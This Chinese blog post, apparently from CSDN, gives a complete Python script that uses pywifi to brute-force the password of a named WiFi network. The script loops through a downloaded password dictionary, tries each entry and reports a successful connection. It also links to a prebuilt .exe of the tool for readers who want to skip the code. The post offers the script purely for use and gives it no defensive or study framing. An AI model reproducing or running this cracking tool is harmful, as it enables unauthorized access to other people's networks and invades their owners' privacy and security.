Python破解wifi密码

Python破解wifi密码


在这里插入图片描述

1:下载破解字典口令集

下载地址
提取码:phbe

2:引入密码本路径和WiFi名称

import time  # 时间
import pywifi  # 破解wifi

# 密码本路径
path = r"C:\Users\Administrator\Desktop\passwd.txt"
# wifi名称
wifi_name = 'YYY-JINAN'
# 获取文本内容
file = open(path, "r", errors="ignore")

3:获取网卡信息并断开所有链接

wifi = pywifi.PyWiFi()  # 抓取网卡接口
iface = wifi.interfaces()[0]  # 抓取第一个无限网卡
def isno():
    iface.disconnect()  # 测试链接断开所有链接
    # 测试网卡是否属于断开状态,
    iface.status() in \
        [0, 2]

4:连接验证

def test_connect(findStr):  # 测试链接
    profile = pywifi.Profile()  # 创建wifi链接文件
    profile.ssid = wifi_name  # wifi名称
    profile.auth = 0  # 网卡的开放,
    profile.akm.append(4)  # wifi加密算法
    profile.cipher = 3  # 加密单元
    profile.key = findStr  # 密码
    iface.remove_all_network_profiles()  # 删除所有的wifi文件
    tmp_profile = iface.add_network_profile(profile)  # 设定新的链接文件
    iface.connect(tmp_profile)  # 链接
    time.sleep(1)
    if iface.status() == 4:  # 判断是否连接上
        isOK = True
    else:
        isOK = False
    iface.disconnect()  # 断开
    time.sleep(1)
    # 检查断开状态
    assert iface.status() in \
           [0, 2]
    return isOK

5:逐行读取文本内容并执行

def readPassWord():
    print("开始破解:")
    while True:
        try:
            myStr = file.readline()
            if not myStr:
                break
            bool1 = test_connect(myStr)
            if bool1:
                print("密码正确:", myStr)
                break
            else:
                print("密码错误:" + myStr)
        except:
            continue

6:破解开始

isno()
readPassWord()

7:懒癌独家

如果您很懒,我已经将其打包到一个.exe程序中,下载并直接运行。

下载地址
提取码:q9vs

这件事更像是赢得彩票,如果输了就只能看脸。

  • 29
    点赞
  • 174
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 22
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 22
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一拖再拖 一拖再拖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值